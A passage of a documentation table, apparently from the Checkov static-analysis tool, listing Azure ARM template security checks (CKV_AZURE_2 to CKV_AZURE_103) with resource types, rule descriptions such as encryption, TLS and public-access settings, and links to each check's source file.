[AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py) | | 1 | CKV_AZURE_2 | resource | Microsoft.Compute/disks | Ensure Azure managed disk have encryption enabled | arm | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py) | | 2 | CKV_AZURE_3 | resource | Microsoft.Storage/storageAccounts | Ensure that 'supportsHttpsTrafficOnly' is set to 'true' | arm | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsTransportEncryption.py) | | 3 | CKV_AZURE_4 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS logging to Azure Monitoring is Configured | arm | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py) | | 4 | CKV_AZURE_5 | resource | Microsoft.ContainerService/managedClusters | Ensure RBAC is enabled on AKS clusters | arm | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py) | | 5 | CKV_AZURE_6 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS has an API Server Authorized IP Ranges enabled | arm | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py) | | 6 | CKV_AZURE_7 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster has Network Policy configured | arm | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py) | | 7 | CKV_AZURE_8 | resource | Microsoft.ContainerService/managedClusters | Ensure Kubernetes Dashboard is disabled | arm | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py) | | 8 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups | Ensure that RDP access is restricted from the internet | arm | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 9 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that RDP access is restricted from the internet | arm | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 10 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups | Ensure that SSH access is restricted from the internet | arm | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 11 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that SSH access is restricted from the internet | arm | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 12 | CKV_AZURE_11 | resource | Microsoft.Sql/servers | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | arm | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py) | | 13 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 14 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 15 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 16 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | arm | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 17 | CKV_AZURE_13 | resource | Microsoft.Web/sites/config | Ensure App Service Authentication is set on Azure App Service | arm | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 18 | CKV_AZURE_13 | resource | config | Ensure App Service Authentication is set on Azure App Service | arm | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 19 | CKV_AZURE_14 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | arm | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py) | | 20 | CKV_AZURE_15 | resource | Microsoft.Web/sites | Ensure web app is using the latest version of TLS encryption | arm | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py) | | 21 | CKV_AZURE_16 | resource | Microsoft.Web/sites | Ensure that Register with Azure Active Directory is enabled on App Service | arm | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py) | | 22 | CKV_AZURE_17 | resource | Microsoft.Web/sites | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | arm | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py) | | 23 | CKV_AZURE_18 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest if used to run the web app | arm | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py) | | 24 | CKV_AZURE_19 | resource | Microsoft.Security/pricings | Ensure that standard pricing tier is selected | arm | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py) | | 25 | CKV_AZURE_20 | resource | Microsoft.Security/securityContacts | Ensure that security contact 'Phone number' is set | arm | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py) | | 26 | CKV_AZURE_21 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | arm | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py) | | 27 | CKV_AZURE_22 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | arm | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py) | | 28 | CKV_AZURE_23 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' is set to 'Enabled' for SQL servers | arm | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py) | | 29 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/databases | Ensure that 'Auditing' is set to 'Enabled' for SQL servers | arm | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py) | | 30 | CKV_AZURE_24 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | arm | [SQLServerAuditingRetention90Days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingRetention90Days.py) | | 31 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/databases | Ensure that 'Threat Detection types' is set to 'All' | arm | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerThreatDetectionTypes.py) | | 32 | CKV_AZURE_26 | resource | Microsoft.Sql/servers/databases | Ensure that 'Send Alerts To' is enabled for MSSQL servers | arm | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py) | | 33 | CKV_AZURE_27 | resource | Microsoft.Sql/servers/databases | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers | arm | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py) | | 34 | CKV_AZURE_28 | resource | Microsoft.DBforMySQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server | arm | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py) | | 35 | CKV_AZURE_29 | resource | Microsoft.DBforPostgreSQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server | arm | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py) | | 36 | CKV_AZURE_30 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 37 | CKV_AZURE_30 | resource | configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 38 | CKV_AZURE_31 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 39 | CKV_AZURE_31 | resource | configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 40 | CKV_AZURE_32 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 41 | CKV_AZURE_32 | resource | configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 42 | CKV_AZURE_33 | resource | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings | Ensure Storage logging is enabled for Queue service for read, write and delete requests | arm | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py) | | 43 | CKV_AZURE_34 | resource | Microsoft.Storage/storageAccounts/blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | arm | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 44 | CKV_AZURE_34 | resource | blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | arm | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 45 | CKV_AZURE_34 | resource | containers | Ensure that 'Public access level' is set to Private for blob containers | arm | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 46 | CKV_AZURE_35 | resource | Microsoft.Storage/storageAccounts | Ensure default network access rule for Storage Accounts is set to deny | arm | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDefaultNetworkAccessDeny.py) | | 47 | CKV_AZURE_36 | resource | Microsoft.Storage/storageAccounts | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | arm | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountAzureServicesAccessEnabled.py) | | 48 | CKV_AZURE_37 | resource | Microsoft.Insights/logprofiles | Ensure that Activity Log Retention is set 365 days or greater | arm | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py) | | 49 | CKV_AZURE_38 | resource | Microsoft.Insights/logprofiles | Ensure audit profile captures all the activities | arm | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py) | | 50 | CKV_AZURE_39 | resource | Microsoft.Authorization/roleDefinitions | Ensure that no custom subscription owner roles are created | arm | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py) | | 51 | CKV_AZURE_40 | resource | Microsoft.KeyVault/vaults/keys | Ensure that the expiration date is set on all keys | arm | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py) | | 52 | CKV_AZURE_41 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that the expiration date is set on all secrets | arm | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py) | | 53 | CKV_AZURE_42 | resource | Microsoft.KeyVault/vaults | Ensure the key vault is recoverable | arm | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py) | | 54 | CKV_AZURE_43 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Accounts adhere to the naming rules | arm | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py) | | 55 | CKV_AZURE_44 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Account is using the latest version of TLS encryption | arm | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py) | | 56 | CKV_AZURE_45 | resource | Microsoft.Compute/virtualMachines | Ensure that no sensitive credentials are exposed in VM custom_data | arm | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py) | | 57 | CKV_AZURE_47 | resource | Microsoft.DBforMariaDB/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers | arm | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py) | | 58 | CKV_AZURE_48 | resource | Microsoft.DBforMariaDB/servers | Ensure 'public network access enabled' is set to 'False' for MariaDB servers | arm | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py) | | 59 | CKV_AZURE_49 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead) | arm | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py) | | 60 | CKV_AZURE_50 | resource | Microsoft.Compute/virtualMachines | Ensure Virtual Machine Extensions are not Installed | arm | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py) | | 61 | CKV_AZURE_52 | resource | Microsoft.Sql/servers | Ensure MSSQL is using the latest version of TLS encryption | arm | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py) | | 62 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | arm | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 63 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/servers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | arm | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 64 | CKV_AZURE_54 | resource | Microsoft.DBforMySQL/servers | Ensure MySQL is using the latest version of TLS encryption | arm | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py) | | 65 | CKV_AZURE_56 | resource | Microsoft.Web/sites/config | Ensure that function apps enables Authentication | arm | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py) | | 66 | CKV_AZURE_57 | resource | Microsoft.Web/sites | Ensure that CORS disallows every resource to access app services | arm | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py) | | 67 | CKV_AZURE_58 | resource | Microsoft.Synapse/workspaces | Ensure that Azure Synapse workspaces enables managed virtual networks | arm | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py) | | 68 | CKV_AZURE_59 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage accounts disallow public access | arm | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py) | | 69 | CKV_AZURE_62 | resource | Microsoft.Web/sites | Ensure function apps are not accessible from all regions | arm | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py) | | 70 | CKV_AZURE_63 | resource | Microsoft.Web/sites/config | Ensure that App service enables HTTP logging | arm | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py) | | 71 | CKV_AZURE_64 | resource | Microsoft.StorageSync/storageSyncServices | Ensure that Azure File Sync disables public network access | arm | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py) | | 72 | CKV_AZURE_65 | resource | Microsoft.Web/sites/config | Ensure that App service enables detailed error messages | arm | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py) | | 73 | CKV_AZURE_66 | resource | Microsoft.Web/sites/config | Ensure that App service enables failed request tracing | arm | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py) | | 74 | CKV_AZURE_67 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest, if used to run the Function app | arm | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 75 | CKV_AZURE_67 | resource | Microsoft.Web/sites/slots | Ensure that 'HTTP Version' is the latest, if used to run the Function app | arm | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 76 | CKV_AZURE_68 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server disables public network access | arm | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py) | | 77 | CKV_AZURE_70 | resource | Microsoft.Web/sites | Ensure that Function apps is only accessible over HTTPS | arm | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 78 | CKV_AZURE_70 | resource | Microsoft.Web/sites/config | Ensure that Function apps is only accessible over HTTPS | arm | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 79 | CKV_AZURE_70 | resource | Microsoft.Web/sites/slots | Ensure that Function apps is only accessible over HTTPS | arm | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 80 | CKV_AZURE_71 | resource | Microsoft.Web/sites | Ensure that Managed identity provider is enabled for web apps | arm | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py) | | 81 | CKV_AZURE_72 | resource | Microsoft.Web/sites | Ensure that remote debugging is not enabled for app services | arm | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py) | | 82 | CKV_AZURE_73 | resource | Microsoft.Automation/automationAccounts/variables | Ensure that Automation account variables are encrypted | arm | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py) | | 83 | CKV_AZURE_74 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer (Kusto) uses disk encryption | arm | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py) | | 84 | CKV_AZURE_75 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer uses double encryption | arm | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py) | | 85 | CKV_AZURE_76 | resource | Microsoft.Batch/batchAccounts | Ensure that Azure Batch account uses key vault to encrypt data | arm | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py) | | 86 | CKV_AZURE_78 | resource | Microsoft.Web/sites | Ensure FTP deployments are disabled | arm | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py) | | 87 | CKV_AZURE_79 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for SQL servers on machines | arm | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py) | | 88 | CKV_AZURE_80 | resource | Microsoft.Web/sites/config | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | arm | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py) | | 89 | CKV_AZURE_81 | resource | Microsoft.Web/sites | Ensure that 'PHP version' is the latest, if used to run the web app | arm | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py) | | 90 | CKV_AZURE_82 | resource | Microsoft.Web/sites | Ensure that 'Python version' is the latest, if used to run the web app | arm | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py) | | 91 | CKV_AZURE_83 | resource | Microsoft.Web/sites | Ensure that 'Java version' is the latest, if used to run the web app | arm | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py) | | 92 | CKV_AZURE_84 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Storage | arm | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py) | | 93 | CKV_AZURE_85 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Kubernetes | arm | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py) | | 94 | CKV_AZURE_87 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Key Vault | arm | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py) | | 95 | CKV_AZURE_88 | resource | Microsoft.Web/sites/config | Ensure that app services use Azure Files | arm | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py) | | 96 | CKV_AZURE_89 | resource | Microsoft.Cache/redis | Ensure that Azure Cache for Redis disables public network access | arm | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py) | | 97 | CKV_AZURE_92 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual Machines use managed disks | arm | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py) | | 98 | CKV_AZURE_93 | resource | Microsoft.Compute/disks | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption | arm | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py) | | 99 | CKV_AZURE_94 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that My SQL server enables geo-redundant backups | arm | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py) | | 100 | CKV_AZURE_95 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets | arm | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py) | | 101 | CKV_AZURE_96 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that MySQL server enables infrastructure encryption | arm | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py) | | 102 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine scale sets have encryption at host enabled | arm | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 103 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine scale sets have encryption at host enabled | arm | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 104 | CKV_AZURE_99 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure Cosmos DB accounts have restricted access | arm | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py) | | 105 | CKV_AZURE_100 | resource | Microsoft.DocumentDb/databaseAccounts | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest | arm | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py) | | 106 | CKV_AZURE_101 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Azure Cosmos DB disables public network access | arm | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py) | | 107 | CKV_AZURE_102 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables geo-redundant backups | arm | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py) | | 108 | CKV_AZURE_103 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data Factory uses Git repository for source control | arm | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py) | | 109 | 